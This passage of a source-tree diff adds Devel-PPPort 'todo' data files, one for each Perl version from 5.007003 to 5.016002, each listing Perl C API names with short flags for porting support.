--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5007003
@@ -0,0 +1,60 @@
+5.007003
+OP_DESC # U
+OP_NAME # U
+PL_peepp # E
+PerlIO_clearerr # U (PerlIO_clearerr)
+PerlIO_close # U (PerlIO_close)
+PerlIO_eof # U (PerlIO_eof)
+PerlIO_error # U (PerlIO_error)
+PerlIO_fileno # U (PerlIO_fileno)
+PerlIO_fill # U (PerlIO_fill)
+PerlIO_flush # U (PerlIO_flush)
+PerlIO_get_base # U (PerlIO_get_base)
+PerlIO_get_bufsiz # U (PerlIO_get_bufsiz)
+PerlIO_get_cnt # U (PerlIO_get_cnt)
+PerlIO_get_ptr # U (PerlIO_get_ptr)
+PerlIO_read # U (PerlIO_read)
+PerlIO_seek # U (PerlIO_seek)
+PerlIO_set_cnt # U (PerlIO_set_cnt)
+PerlIO_set_ptrcnt # U (PerlIO_set_ptrcnt)
+PerlIO_setlinebuf # U (PerlIO_setlinebuf)
+PerlIO_stderr # U (PerlIO_stderr)
+PerlIO_stdin # U (PerlIO_stdin)
+PerlIO_stdout # U (PerlIO_stdout)
+PerlIO_tell # U (PerlIO_tell)
+PerlIO_unread # U (PerlIO_unread)
+PerlIO_write # U (PerlIO_write)
+SvLOCK # U
+SvSHARE # U
+SvUNLOCK # U
+atfork_lock # U
+atfork_unlock # U
+custom_op_desc # U
+custom_op_name # U
+deb # U
+debstack # U
+debstackptrs # U
+gv_fetchmeth_autoload # U
+ibcmp_utf8 # U
+my_fork # U
+my_socketpair # U
+pack_cat # U
+perl_destruct # E (perl_destruct)
+pv_uni_display # U
+save_shared_pvref # U
+savesharedpv # U
+sortsv # U
+sv_magicext # U
+sv_nolocking # U
+sv_nosharing # U
+sv_recode_to_utf8 # U
+sv_uni_display # U
+to_uni_fold # U
+to_uni_lower # E (Perl_to_uni_lower)
+to_uni_title # E (Perl_to_uni_title)
+to_uni_upper # E (Perl_to_uni_upper)
+to_utf8_case # U
+unpack_str # U
+uvchr_to_utf8_flags # U
+uvuni_to_utf8_flags # U
+vdeb # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008000
new file mode 100644
index 00000000000..3a4d23ec74d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008000
@@ -0,0 +1,6 @@
+5.008000
+HeUTF8 # U
+hv_iternext_flags # U
+hv_store_flags # U
+is_utf8_idcont # U
+nothreadhook # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008001
new file mode 100644
index 00000000000..adb1eb327cb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008001
@@ -0,0 +1,18 @@
+5.008001
+CvPADLIST # E
+PL_comppad # E
+SvVOK # U
+doing_taint # U
+find_runcv # U
+is_utf8_string_loc # U
+packlist # U
+pad_add_anon # U
+pad_new # E
+pad_tidy # E
+save_bool # U
+savestack_grow_cnt # U
+seed # U
+sv_cat_decode # U
+sv_setpviv # U
+sv_setpviv_mg # U
+unpackstring # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008002
new file mode 100644
index 00000000000..63aac525fed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008002
@@ -0,0 +1 @@
+5.008002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008003
new file mode 100644
index 00000000000..50c6ce1aa14
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008003
@@ -0,0 +1,3 @@
+5.008003
+SvIsCOW # U
+SvIsCOW_shared_hash # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008004
new file mode 100644
index 00000000000..bb7bcdf66ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008004
@@ -0,0 +1 @@
+5.008004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008005
new file mode 100644
index 00000000000..7bd2029f4b3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008005
@@ -0,0 +1 @@
+5.008005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008006
new file mode 100644
index 00000000000..ba5cad07ed0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008006
@@ -0,0 +1 @@
+5.008006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008007
new file mode 100644
index 00000000000..7d656f0b9e2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008007
@@ -0,0 +1 @@
+5.008007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008008
new file mode 100644
index 00000000000..f17b19ff4b2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008008
@@ -0,0 +1 @@
+5.008008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008009
new file mode 100644
index 00000000000..129e018f45f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5008009
@@ -0,0 +1 @@
+5.008009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009000
new file mode 100644
index 00000000000..28bc85958ec
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009000
@@ -0,0 +1,6 @@
+5.009000
+new_version # U
+save_set_svflags # U
+vcmp # U
+vnumify # U
+vstringify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009001
new file mode 100644
index 00000000000..26d2c4c5487
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009001
@@ -0,0 +1,6 @@
+5.009001
+hv_clear_placeholders # U
+hv_scalar # U
+scan_version # E (Perl_scan_version)
+sv_2iv_flags # U
+sv_2uv_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009002
new file mode 100644
index 00000000000..5678492aef9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009002
@@ -0,0 +1,7 @@
+5.009002
+SvPVbyte_force # U
+find_rundefsvoffset # U
+op_refcnt_lock # U
+op_refcnt_unlock # U
+savesvpv # U
+vnormal # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009003
new file mode 100644
index 00000000000..5b9c10ab551
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009003
@@ -0,0 +1,23 @@
+5.009003
+av_arylen_p # U
+ckwarn # U
+ckwarn_d # U
+csighandler # E (Perl_csighandler)
+dMULTICALL # E
+doref # U
+gv_const_sv # U
+hv_eiter_p # U
+hv_eiter_set # U
+hv_name_set # U
+hv_placeholders_get # U
+hv_placeholders_set # U
+hv_riter_p # U
+hv_riter_set # U
+is_utf8_string_loclen # U
+newGIVENOP # U
+newSVhek # U
+newWHENOP # U
+pad_compname_type # U
+savepvs # U
+sortsv_flags # U
+vverify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009004
new file mode 100644
index 00000000000..6295708cd65
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009004
@@ -0,0 +1,9 @@
+5.009004
+PerlIO_context_layers # U
+gv_name_set # U
+hv_copy_hints_hv # U
+my_vsnprintf # U
+newXS_flags # U
+regclass_swash # E (Perl_regclass_swash)
+sv_does # U
+sv_usepvn_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009005
new file mode 100644
index 00000000000..a8ee73b1c94
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5009005
@@ -0,0 +1,27 @@
+5.009005
+Perl_signbit # U
+av_create_and_push # U
+av_create_and_unshift_one # U
+gv_fetchfile_flags # U
+lex_start # E (Perl_lex_start)
+mro_get_linear_isa # U
+mro_method_changed_in # U
+my_dirfd # U
+pregcomp # E (Perl_pregcomp)
+ptr_table_clear # U
+ptr_table_fetch # U
+ptr_table_free # U
+ptr_table_new # U
+ptr_table_split # U
+ptr_table_store # U
+re_compile # U
+reg_named_buff_all # U
+reg_named_buff_exists # U
+reg_named_buff_fetch # U
+reg_named_buff_firstkey # U
+reg_named_buff_nextkey # U
+reg_named_buff_scalar # U
+regfree_internal # U
+savesharedpvn # U
+scan_vstring # E (Perl_scan_vstring)
+upg_version # E (Perl_upg_version)
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010000
new file mode 100644
index 00000000000..737f374ef0f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010000
@@ -0,0 +1,7 @@
+5.010000
+hv_common # U
+hv_common_key_len # U
+sv_destroyable # U
+sys_init # U
+sys_init3 # U
+sys_term # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010001
new file mode 100644
index 00000000000..15f4091cc19
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5010001
@@ -0,0 +1,12 @@
+5.010001
+mro_get_from_name # U
+mro_get_private_data # U
+mro_register # U
+mro_set_mro # U
+mro_set_private_data # U
+save_hints # U
+save_padsv_and_mortalize # U
+save_pushi32ptr # U
+save_pushptr # U
+save_pushptrptr # U
+sv_insert_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011000
new file mode 100644
index 00000000000..805d8b19acd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011000
@@ -0,0 +1,14 @@
+5.011000
+Gv_AMupdate # E (Perl_Gv_AMupdate)
+PL_opfreehook # E
+SVt_REGEXP # E
+SvOOK_offset # U
+av_iter_p # U
+gv_add_by_type # U
+is_ascii_string # U
+pregfree2 # U
+save_adelete # U
+save_aelem_flags # U
+save_hdelete # U
+save_helem_flags # U
+sv_utf8_upgrade_flags_grow # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011001
new file mode 100644
index 00000000000..f42409363b7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011001
@@ -0,0 +1,6 @@
+5.011001
+ck_warner # U
+ck_warner_d # U
+is_utf8_perl_space # U
+is_utf8_perl_word # U
+is_utf8_posix_digit # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011002
new file mode 100644
index 00000000000..df12d99fd62
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011002
@@ -0,0 +1,13 @@
+5.011002
+PL_keyword_plugin # E
+lex_bufutf8 # U
+lex_discard_to # U
+lex_grow_linestr # U
+lex_next_chunk # U
+lex_peek_unichar # U
+lex_read_space # U
+lex_read_to # U
+lex_read_unichar # U
+lex_stuff_pvn # U
+lex_stuff_sv # U
+lex_unstuff # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011003
new file mode 100644
index 00000000000..3fd94ca1b60
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011003
@@ -0,0 +1 @@
+5.011003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011004
new file mode 100644
index 00000000000..86c1fce4f2a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011004
@@ -0,0 +1,2 @@
+5.011004
+prescan_version # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011005
new file mode 100644
index 00000000000..d9b0d6a4c94
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5011005
@@ -0,0 +1,2 @@
+5.011005
+sv_pos_u2b_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012000
new file mode 100644
index 00000000000..82cbce2d6d9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012000
@@ -0,0 +1 @@
+5.012000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012001
new file mode 100644
index 00000000000..90dc03fdf35
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012001
@@ -0,0 +1 @@
+5.012001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012002
new file mode 100644
index 00000000000..8ab87f08d8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012002
@@ -0,0 +1 @@
+5.012002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012003
new file mode 100644
index 00000000000..f2abab4c17c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012003
@@ -0,0 +1 @@
+5.012003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012004
new file mode 100644
index 00000000000..e7319cd5663
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012004
@@ -0,0 +1 @@
+5.012004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012005
new file mode 100644
index 00000000000..5af01305efd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5012005
@@ -0,0 +1 @@
+5.012005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013000
new file mode 100644
index 00000000000..f2f116d2fab
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013000
@@ -0,0 +1 @@
+5.013000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013001
new file mode 100644
index 00000000000..a13e28cc4a2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013001
@@ -0,0 +1,2 @@
+5.013001
+sv_2nv_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013002
new file mode 100644
index 00000000000..fa6d99b4076
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013002
@@ -0,0 +1,9 @@
+5.013002
+SvNV_nomg # U
+find_rundefsv # U
+foldEQ # U
+foldEQ_locale # U
+foldEQ_utf8 # U
+hv_fill # U
+sv_dec_nomg # U
+sv_inc_nomg # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013003
new file mode 100644
index 00000000000..da041b1723a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013003
@@ -0,0 +1,2 @@
+5.013003
+blockhook_register # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013004
new file mode 100644
index 00000000000..8aac89eb8d4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013004
@@ -0,0 +1 @@
+5.013004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013005
new file mode 100644
index 00000000000..e9cd3e8b5f8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013005
@@ -0,0 +1,5 @@
+5.013005
+PL_rpeepp # E
+isOCTAL # U
+lex_stuff_pvs # U
+parse_fullstmt # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013006
new file mode 100644
index 00000000000..d145f368393
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013006
@@ -0,0 +1,32 @@
+5.013006
+LINKLIST # U
+SvTRUE_nomg # U
+ck_entersub_args_list # U
+ck_entersub_args_proto # U
+ck_entersub_args_proto_or_list # U
+cv_get_call_checker # E
+cv_set_call_checker # E
+isWORDCHAR # U
+lex_stuff_pv # U
+mg_free_type # U
+newSVpv_share # U
+op_append_elem # U
+op_append_list # U
+op_contextualize # U
+op_linklist # U
+op_prepend_elem # U
+parse_stmtseq # U
+rv2cv_op_cv # U
+savesharedpvs # U
+savesharedsvpv # U
+sv_2bool_flags # U
+sv_catpv_flags # U
+sv_catpv_nomg # U
+sv_catpvs_flags # U
+sv_catpvs_mg # U
+sv_catpvs_nomg # U
+sv_cmp_flags # U
+sv_cmp_locale_flags # U
+sv_collxfrm_flags # U
+sv_eq_flags # U
+sv_setpvs_mg # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013007
new file mode 100644
index 00000000000..c70717f6a5e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013007
@@ -0,0 +1,35 @@
+5.013007
+HvENAME # U
+OP_CLASS # U
+XopFLAGS # E
+amagic_deref_call # U
+bytes_cmp_utf8 # U
+cop_hints_2hv # A
+cop_hints_fetch_pv # U
+cop_hints_fetch_pvn # U
+cop_hints_fetch_pvs # U
+cop_hints_fetch_sv # U
+cophh_2hv # E
+cophh_copy # E
+cophh_delete_pv # E
+cophh_delete_pvn # E
+cophh_delete_pvs # E
+cophh_delete_sv # E
+cophh_fetch_pv # E
+cophh_fetch_pvn # E
+cophh_fetch_pvs # E
+cophh_fetch_sv # E
+cophh_free # E
+cophh_store_pv # E
+cophh_store_pvn # E
+cophh_store_pvs # E
+cophh_store_sv # E
+custom_op_register # E
+custom_op_xop # E
+newFOROP # A
+newWHILEOP # A
+op_lvalue # U
+op_scope # U
+parse_barestmt # U
+parse_block # U
+parse_label # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013008
new file mode 100644
index 00000000000..8e95c5d3133
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013008
@@ -0,0 +1,6 @@
+5.013008
+foldEQ_latin1 # U
+parse_arithexpr # U
+parse_fullexpr # U
+parse_listexpr # U
+parse_termexpr # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013009
new file mode 100644
index 00000000000..51160ae344d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013009
@@ -0,0 +1 @@
+5.013009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013010
new file mode 100644
index 00000000000..d7f4365bfb1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013010
@@ -0,0 +1,4 @@
+5.013010
+foldEQ_utf8_flags # U
+is_utf8_xidcont # U
+is_utf8_xidfirst # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013011
new file mode 100644
index 00000000000..a33715f749e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5013011
@@ -0,0 +1 @@
+5.013011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014000
new file mode 100644
index 00000000000..3f837ef4d0d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014000
@@ -0,0 +1,2 @@
+5.014000
+_to_uni_fold_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014001
new file mode 100644
index 00000000000..098fb03c9f4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014001
@@ -0,0 +1 @@
+5.014001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014002
new file mode 100644
index 00000000000..f280bd0f4f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014002
@@ -0,0 +1 @@
+5.014002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014003
new file mode 100644
index 00000000000..333e50d1db2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014003
@@ -0,0 +1 @@
+5.014003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014004
new file mode 100644
index 00000000000..1618e365ea4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5014004
@@ -0,0 +1 @@
+5.014004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015000
new file mode 100644
index 00000000000..d8c6546d720
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015000
@@ -0,0 +1 @@
+5.015000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015001
new file mode 100644
index 00000000000..144926b1244
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015001
@@ -0,0 +1,11 @@
+5.015001
+cop_fetch_label # U
+cop_store_label # U
+pad_add_name_pv # U
+pad_add_name_pvn # U
+pad_add_name_pvs # U
+pad_add_name_sv # U
+pad_findmy_pv # U
+pad_findmy_pvn # U
+pad_findmy_pvs # U
+pad_findmy_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015002
new file mode 100644
index 00000000000..06741283d1d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015002
@@ -0,0 +1 @@
+5.015002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015003
new file mode 100644
index 00000000000..7f33df71289
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015003
@@ -0,0 +1 @@
+5.015003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015004
new file mode 100644
index 00000000000..d92eabc6738
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015004
@@ -0,0 +1,30 @@
+5.015004
+HvENAMELEN # U
+HvENAMEUTF8 # U
+HvNAMELEN # U
+HvNAMEUTF8 # U
+gv_autoload_pv # U
+gv_autoload_pvn # U
+gv_autoload_sv # U
+gv_fetchmeth_pv # U
+gv_fetchmeth_pv_autoload # U
+gv_fetchmeth_pvn # U
+gv_fetchmeth_pvn_autoload # U
+gv_fetchmeth_sv # U
+gv_fetchmeth_sv_autoload # U
+gv_fetchmethod_pv_flags # U
+gv_fetchmethod_pvn_flags # U
+gv_fetchmethod_sv_flags # U
+gv_init_pv # U
+gv_init_sv # U
+newGVgen_flags # U
+sv_derived_from_pv # U
+sv_derived_from_pvn # U
+sv_derived_from_sv # U
+sv_does_pv # U
+sv_does_pvn # U
+sv_does_sv # U
+sv_ref # U
+whichsig_pv # U
+whichsig_pvn # U
+whichsig_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015005
new file mode 100644
index 00000000000..1908a935e3d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015005
@@ -0,0 +1 @@
+5.015005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015006
new file mode 100644
index 00000000000..4fb3c7c5901
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015006
@@ -0,0 +1,2 @@
+5.015006
+newCONSTSUB_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015007
new file mode 100644
index 00000000000..ce9078968a1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015007
@@ -0,0 +1,8 @@
+5.015007
+toLOWER_utf8 # U
+toTITLE_utf8 # U
+toUPPER_utf8 # U
+to_utf8_fold # U
+to_utf8_lower # U
+to_utf8_title # U
+to_utf8_upper # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015008
new file mode 100644
index 00000000000..14c640388c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015008
@@ -0,0 +1,3 @@
+5.015008
+is_utf8_char_buf # U
+wrap_op_checker # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015009
new file mode 100644
index 00000000000..30537f0445e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5015009
@@ -0,0 +1,5 @@
+5.015009
+utf8_to_uvchr_buf # U
+utf8_to_uvuni_buf # U
+valid_utf8_to_uvchr # U
+valid_utf8_to_uvuni # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016000
new file mode 100644
index 00000000000..3bd46b73620
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016000
@@ -0,0 +1 @@
+5.016000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016001
new file mode 100644
index 00000000000..5e2b46c7762
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016001
@@ -0,0 +1 @@
+5.016001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016002
new file mode 100644
index 00000000000..dfd939f6843
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016002
@@ -0,0 +1 @@
+5.016002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/todo/5016003
new file mode 100644
index 00000000000..88e54eb950f
--- /dev/null
